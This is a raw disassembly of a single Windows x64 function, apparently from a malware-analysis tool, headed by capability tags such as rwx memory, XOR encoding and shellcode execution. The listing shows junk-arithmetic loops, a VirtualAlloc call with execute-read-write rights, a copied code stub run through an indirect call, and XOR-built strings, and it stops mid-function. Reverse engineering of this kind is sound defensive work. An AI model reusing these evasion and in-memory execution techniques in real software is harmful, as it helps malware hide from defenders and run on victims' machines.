Function at 0x14000bfe0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5710]
mov eax, 0x5810
call fcn.14002d390
sub rsp, rax
movaps xmmword [rsp + 0x5800], xmm6
movaps xmmword [rsp + 0x57f0], xmm7
movaps xmmword [rsp + 0x57e0], xmm8
movaps xmmword [rsp + 0x57d0], xmm9
movaps xmmword [rsp + 0x57c0], xmm10
movaps xmmword [rsp + 0x57b0], xmm11
movaps xmmword [rsp + 0x57a0], xmm12
movaps xmmword [rsp + 0x5790], xmm13
movaps xmmword [rsp + 0x5780], xmm14
movaps xmmword [rsp + 0x5770], xmm15
mov rax, qword [0x14003a040]
xor rax, rsp
mov qword [rbp + 0x5660], rax
mov qword [rbp - 0x60], rdx
mov qword [rbp + 0x18], rcx
mov qword [rbp + 0x78], rcx
xor r12d, r12d
lea rcx, [rbp + 0x388]
call fcn.140002540
lea rdx, [rbp + 0x5748]
lea rcx, [rbp + 0x388]
call fcn.140002550
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x40c0]
call fcn.1400200e0
mov dword [rbp + 0x320], 0x3e7
mov dword [rbp + 0x324], 0xf423f
lea rdx, [rbp + 0x40c0]
lea rcx, [rbp + 0x320]
call fcn.1400219d0
mov r14d, eax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x2d30]
call fcn.1400200e0
mov dword [rbp + 0x258], 0xffffff9c
mov dword [rbp + 0x25c], 0x64
movdqa xmm0, xmmword [0x1400319b0]
movups xmmword [rbp + 0x300], xmm0
mov dword [rsp + 0x34], r12d
xorps xmm8, xmm8
movsd qword [rbp + 0x230], xmm8
lea rcx, [rbp + 0xb0]
call fcn.140001650
mov qword [rbp + 0xa8], 0x64
lea r8, [rbp + 0xa8]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x50]
call fcn.140021a70
lea rcx, [rbp + 0x2c8]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2c8], xmm1
mov qword [rbp + 0x2d8], r12
lea rcx, [rbp + 0xb8]
call fcn.140021a90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x20], rcx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x2c8]
call fcn.140020010
nop
lea rcx, [rbp + 0x20]
call fcn.14001fff0
nop
lea rcx, [rbp + 0xb8]
call fcn.14001fff0
lea rcx, [rbp + 0xc0]
call fcn.140021ac0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x28], rcx
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x2c8]
call fcn.140020010
nop
lea rcx, [rbp + 0x28]
call fcn.14001fff0
nop
lea rcx, [rbp + 0xc0]
call fcn.14001fff0
lea rcx, [rbp + 0xc8]
call fcn.140021af0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x30], rcx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x2c8]
call fcn.140020010
nop
lea rcx, [rbp + 0x30]
call fcn.14001fff0
nop
lea rcx, [rbp + 0xc8]
call fcn.14001fff0
lea rcx, [rbp + 0xd0]
call fcn.140021b20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x38], rcx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x2c8]
call fcn.140020010
nop
lea rcx, [rbp + 0x38]
call fcn.14001fff0
nop
lea rcx, [rbp + 0xd0]
call fcn.14001fff0
lea rcx, [rbp + 0xd8]
call fcn.140021b50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x40], rcx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x2c8]
call fcn.140020010
nop
lea rcx, [rbp + 0x40]
call fcn.14001fff0
nop
lea rcx, [rbp + 0xd8]
call fcn.14001fff0
lea rcx, [rbp + 0xe0]
call fcn.140021b80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x48], rcx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x2c8]
call fcn.140020010
nop
lea rcx, [rbp + 0x48]
call fcn.14001fff0
nop
lea rcx, [rbp + 0xe0]
call fcn.14001fff0
lea rcx, [rbp + 0xe8]
call fcn.140001650
mov rcx, rax
lea rdx, [rbp + 0x50]
call fcn.1400024f0
movsd xmm6, qword [0x140031910]
movsd xmm10, qword [0x140031908]
test al, al
jns 0x14000c666
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x258]
call fcn.1400219d0
mov rbx, qword [rbp + 0x2d0]
sub rbx, qword [rbp + 0x2c8]
sar rbx, 3
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x258]
call fcn.1400219d0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x2c8]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x258]
call fcn.1400219d0
mov r8d, eax
mov edx, dword [rsp + 0x34]
mov rcx, rdi
call rbx
mov dword [rsp + 0x34], eax
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x300]
call fcn.140021bb0
movaps xmm5, xmm0
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x300]
call fcn.140021bb0
movaps xmm1, xmm5
call fcn.1400023c0
movsd xmm1, qword [rbp + 0x230]
addsd xmm0, xmm1
movsd qword [rbp + 0x230], xmm0
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x300]
call fcn.140021bb0
movaps xmm1, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rbp + 0x230]
subsd xmm1, xmm0
movsd qword [rbp + 0x230], xmm1
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x300]
call fcn.140021bb0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rbp + 0x230]
movsd qword [rbp + 0x230], xmm0
lea rdx, [0x1400309c0]
lea rcx, [rbp + 0x3d0]
call fcn.1400207c0
nop
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x3d0]
call fcn.140002330
lea rcx, [rbp + 0x3a0]
call fcn.140002540
lea rcx, [rbp + 0x3a0]
call fcn.140020190
nop
lea rax, [rbp + 0x258]
mov qword [rbp + 0x160], rax
lea rax, [rbp + 0x2d30]
mov qword [rbp + 0x168], rax
movaps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x1c0], xmm0
lea r8, [rbp + 0x1c0]
mov rdx, qword [rbp + 0x3a8]
mov rcx, qword [rbp + 0x3a0]
call fcn.140021c30
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x3a0]
call fcn.140002440
mov rdx, qword [rbp + 0x3a8]
mov rcx, qword [rbp + 0x3a0]
call fcn.140021c90
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov dword [rsp + 0x34], ecx
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x258]
call fcn.1400219d0
mov ebx, eax
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x258]
call fcn.1400219d0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x34]
add eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x258]
test al, 1
jne 0x14000c55b
call fcn.1400219d0
mov ecx, dword [rsp + 0x34]
add eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x14000c56a
call fcn.1400219d0
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov dword [rsp + 0x34], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x258]
call fcn.1400219d0
mov ecx, dword [rsp + 0x34]
add eax, ecx
mov dword [rsp + 0x34], eax
lea rdx, [rbp + 0x2d30]
lea rcx, [rbp + 0x300]
call fcn.140021bb0
movsd xmm5, qword [rbp + 0x230]
addsd xmm0, xmm5
movsd qword [rbp + 0x230], xmm0
lea rdx, [rbp + 0x2d30]
test bl, 1
jne 0x14000c5e9
lea rcx, [rbp + 0x258]
call fcn.1400219d0
mov ecx, dword [rsp + 0x34]
imul eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x14000c60e
movsd xmm5, qword [rbp + 0x230]
lea rcx, [rbp + 0x300]
call fcn.140021bb0
addsd xmm0, xmm10
divsd xmm5, xmm0
movsd qword [rbp + 0x230], xmm5
inc ebx
cmp ebx, 5
jl 0x14000c580
sub rdi, 1
jne 0x14000c570
lea rcx, [rbp + 0x3a0]
call fcn.140020130
nop
lea rcx, [rbp + 0x3d0]
call fcn.140020760
sub rsi, 1
jne 0x14000c330
lea rcx, [rbp + 0xe8]
call fcn.140001650
mov rcx, rax
lea rdx, [rbp + 0x50]
call fcn.1400024f0
test al, al
js 0x14000c320
mov eax, dword [rsp + 0x34]
lea rcx, [rbp + 0x2c8]
call fcn.140020040
lea rcx, [rbp + 0x520]
call fcn.14000f4b0
lea rcx, [rbp + 0x520]
call fcn.14001f710
nop
mov edx, r14d
lea rcx, [rbp + 0x520]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
movsd xmm0, qword [str.____]
movsd qword [rsp + 0x58], xmm0
movzx ecx, word [0x140030ea0]
mov edx, 0x2e
mov word [rsp + 0x58], dx
xor word [rsp + 0x5a], 0x57
xor word [rsp + 0x5c], 0x59
xor word [rsp + 0x5e], 0x5b
xor cx, 0x5d
mov word [rsp + 0x60], cx
lea rdx, [rsp + 0x58]
mov rcx, rax
call fcn.140022010
lea rdx, [rbp + 0x368]
lea rcx, [rbp + 0x520]
call fcn.14001f630
nop
mov dword [rbp - 0x50], 0x104
lea rcx, [rbp + 0x3b8]
call fcn.140002540
lea rdx, [rbp + 0x5748]
lea rcx, [rbp + 0x3b8]
call fcn.140002550
nop
mov ecx, r12d
lea rdi, [0x1400221f0]
lea rbx, [0x140000000]
mov rax, qword [0x14003d180]
test rax, rax
je 0x14000c769
nop
cmp rax, rdi
je 0x14000c756
inc ecx
mov rax, qword [rbx + rcx*8 + 0x3d180]
test rax, rax
jne 0x14000c740
jmp 0x14000c769
mov eax, ecx
mov r9, qword [rbx + rax*8 + 0x3d7f0]
test r9, r9
jne 0x14000c84f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14000c792
mov r9, r12
jmp 0x14000c82e
mov rax, rdi
mov rcx, r9
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c7a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003d7e0]
mov qword [rbx + rax*8 + 0x3d180], rdi
mov qword [rbx + rax*8 + 0x3d7f0], r9
inc rax
mov qword [0x14003d7e0], rax
lea r8, [rbp + 0x5450]
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
mov rcx, qword [rbp + 0x3b8]
xor rcx, qword [rbp + 0x3c0]
mov qword [rbp + 0x3b8], rcx
mov rax, qword [rbp + 0x3c8]
mov qword [rax], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
lea rax, [rbp + 0x5450]
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000c8a2
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x14000f43a
cmp rbx, 7
ja 0x14000c8f3
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x5450]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x70], r12w
jmp 0x14000c9a4
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x14000c93e
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x14000c975
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000f440
mov rcx, rax
call fcn.14002c358
test rax, rax
je 0x14000c96e
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000c97d
mov ecx, 0xa
cmp rax, rcx
cmovb rax, rcx
mov rsi, rax
lea rcx, [rax + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000f440
add rcx, rcx
jne 0x14000c90d
mov rdi, r12
jmp 0x14000c97d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002c358
mov rdi, rax
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x5450]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rbx], r12w
mov rdi, qword [rbp + 0x378]
lea r9, [rbp + 0x368]
cmp qword [rbp + 0x380], 7
cmova r9, qword [rbp + 0x368]
mov rsi, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x14000ca0c
lea rax, [rsi + rdi]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rcx, 7
cmova rbx, qword [rsp + 0x70]
lea rcx, [rbx + rsi*2]
lea r8, [rdi + rdi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rdi]
mov word [rbx + rax*2], r12w
lea rax, [rsp + 0x70]
jmp 0x14000ca1e
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.1400228f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14000ca9f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ca9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ca9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002c350
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r12w
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x19a0]
call fcn.1400200e0
mov dword [rbp + 0x250], 0xffffff9c
mov dword [rbp + 0x254], 0x64
movsd xmm13, qword [0x140031930]
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rbp + 0xf0]
call fcn.140001650
mov rbx, qword [rbp + 0xf0]
add rbx, 0x5f5e100
mov qword [rbp + 0x120], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm1
mov qword [rbp + 0x270], r12
mov ecx, 8
call fcn.14002c358
lea r14, vtable.AddOperation.0
mov qword [rax], r14
mov qword [rbp + 0x1b0], r12
mov qword [rbp - 0x48], rax
mov rdx, qword [rbp + 0x268]
cmp rdx, qword [rbp + 0x270]
je 0x14000cb64
mov rcx, r12
mov qword [rbp - 0x48], rcx
mov qword [rdx], rax
add qword [rbp + 0x268], 8
jmp 0x14000cb78
lea r8, [rbp - 0x48]
lea rcx, [rbp + 0x260]
call fcn.140023b40
mov rcx, qword [rbp - 0x48]
mov r14d, 1
test rcx, rcx
je 0x14000cb8c
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
mov ecx, 8
call fcn.14002c358
lea rsi, vtable.MultiplyOperation.0
mov qword [rax], rsi
mov qword [rbp + 0xf8], r12
mov qword [rbp - 0x40], rax
mov rcx, qword [rbp + 0x268]
cmp rcx, qword [rbp + 0x270]
je 0x14000cbcf
mov rdx, r12
mov qword [rbp - 0x40], rdx
mov qword [rcx], rax
add qword [rbp + 0x268], 8
jmp 0x14000cbe6
lea r8, [rbp - 0x40]
mov rdx, rcx
lea rcx, [rbp + 0x260]
call fcn.140023b40
mov rdx, qword [rbp - 0x40]
test rdx, rdx
je 0x14000cbf1
call fcn.140021840
nop
lea rcx, [rbp + 0xf8]
call fcn.14001fff0
lea rcx, [rbp + 0x100]
call fcn.140021af0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x58], rcx
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x260]
call fcn.140020010
nop
lea rcx, [rbp + 0x58]
call fcn.14001fff0
nop
lea rcx, [rbp + 0x100]
call fcn.14001fff0
lea rcx, [rbp + 0x108]
call fcn.140021b20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x60], rcx
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x260]
call fcn.140020010
nop
lea rcx, [rbp + 0x60]
call fcn.14001fff0
nop
lea rcx, [rbp + 0x108]
call fcn.14001fff0
lea rcx, [rbp + 0x110]
call fcn.140021b50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x68], rcx
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x260]
call fcn.140020010
nop
lea rcx, [rbp + 0x68]
call fcn.14001fff0
nop
lea rcx, [rbp + 0x110]
call fcn.14001fff0
lea rcx, [rbp + 0x118]
call fcn.140021b80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x70], rcx
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x260]
call fcn.140020010
nop
lea rcx, [rbp + 0x70]
call fcn.14001fff0
nop
lea rcx, [rbp + 0x118]
call fcn.14001fff0
movsd xmm15, qword [0x1400319e0]
movsd xmm9, qword [0x140031928]
movsd xmm14, qword [0x140031920]
movabs rsi, 0xb2f4fc0794908cf3
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x14000cd3b
imul rax, rcx, 0x64
jmp 0x14000cdaa
cmp rdi, 0x16e3600
jne 0x14000cd8f
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14000cdaa
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14000d85f
mov dword [rsp + 0x40], r12d
nop dword [rax + rax]
mov r12d, dword [rbp + 0x250]
btc r12d, 0x1f
mov dword [rsp + 0x48], r12d
mov r13d, dword [rbp + 0x254]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x19a0]
cmp r13d, 0xffffffff
jne 0x14000ce0c
call fcn.140024a70
lea esi, [r13 + 1]
mov r15d, r12d
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
jmp 0x14000cead
lea edi, [r13 + 1]
call fcn.140024a70
mov r14d, edi
mov ecx, eax
imul rcx, r14
mov eax, edi
cmp ecx, edi
jae 0x14000ce4a
neg eax
xor edx, edx
div edi
mov esi, edx
mov eax, edi
cmp ecx, edx
jae 0x14000ce4a
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x14000ce32
jmp 0x14000ce4c
mov edi, eax
mov r14d, r12d
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov edx, edi
mov qword [rbp - 0x70], rdx
mov ecx, eax
imul rcx, rdx
mov esi, edi
mov r15d, r12d
cmp ecx, edi
jae 0x14000cea9
mov eax, edi
neg eax
xor edx, edx
div edi
cmp ecx, edx
jae 0x14000cea9
mov ebx, edx
mov r12, qword [rbp - 0x70]
mov r15d, r14d
mov esi, edi
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rcx, r12
cmp ecx, ebx
jb 0x14000ce82
mov rbx, qword [rbp + 0x120]
mov r12d, dword [rsp + 0x48]
shr rcx, 0x20
lea eax, [rcx + r15]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x268]
mov r8, qword [rbp + 0x260]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x48], rdi
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
cmp r13d, 0xffffffff
jne 0x14000cefc
mov ecx, eax
jmp 0x14000cf3f
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x14000cf3b
mov eax, esi
neg eax
xor edx, edx
div esi
mov edi, edx
cmp ecx, edx
jae 0x14000cf36
nop word [rax + rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14000cf20
mov rdi, qword [rsp + 0x48]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x30]
mov rcx, r15
call rdi
mov dword [rsp + 0x30], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000cf62
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000cfb0
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm0, xmm12
andps xmm0, xmm15
addsd xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000d050
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movsd xmm1, qword [0x140031910]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000d0c0
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
xor r13d, r13d
mov qword [rbp + 0x338], r13
mov qword [rbp + 0x340], r13
mov r8d, 3
lea rdx, [0x1400309c0]
lea rcx, [rbp + 0x328]
call fcn.140022da0
nop
lea rdi, [rbp + 0x328]
cmp qword [rbp + 0x340], 0xf
cmova rdi, qword [rbp + 0x328]
lea rcx, [rbp + 0x328]
cmova rcx, qword [rbp + 0x328]
mov rsi, qword [rbp + 0x338]
add rsi, rcx
cmp rdi, rsi
je 0x14000d1c7
nop dword [rax + rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14000d1b7
nop word [rax + rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14000d1a0
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x14000d180
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x278], xmm1
mov qword [rbp + 0x288], r13
mov ecx, 0x190
call fcn.14002c358
mov qword [rbp + 0x278], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x288], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x280], r14
lea rax, [rbp + 0x250]
mov qword [rbp + 0x170], rax
lea rax, [rbp + 0x19a0]
mov qword [rbp + 0x178], rax
movaps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp - 0x70], xmm0
mov rsi, qword [rbp + 0x278]
cmp rsi, r14
je 0x14000d274
mov rdi, qword [rbp - 0x68]
mov r15, qword [rbp - 0x70]
nop dword [rax + rax]
mov rdx, rdi
mov rcx, r15
call fcn.1400219d0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000d250
mov r14, qword [rbp + 0x280]
mov rsi, qword [rbp + 0x278]
mov dword [rbp + 0x318], 0xffffff9c
mov dword [rbp + 0x31c], 0x64
lea rax, [rbp + 0x318]
mov qword [rbp + 0x180], rax
lea rax, [rbp + 0x19a0]
mov qword [rbp + 0x188], rax
movaps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp - 0x70], xmm0
cmp rsi, r14
je 0x14000d2e8
mov r15, qword [rbp - 0x68]
mov r12, qword [rbp - 0x70]
nop dword [rax]
mov edi, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.1400219d0
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000d2c0
mov r14, qword [rbp + 0x280]
mov rsi, qword [rbp + 0x278]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.1400244b0
mov r8d, r13d
mov rax, qword [rbp + 0x278]
mov rdx, r13
mov r9, qword [rbp + 0x280]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r13
test rcx, rcx
je 0x14000d381
cmp rcx, 8
jb 0x14000d381
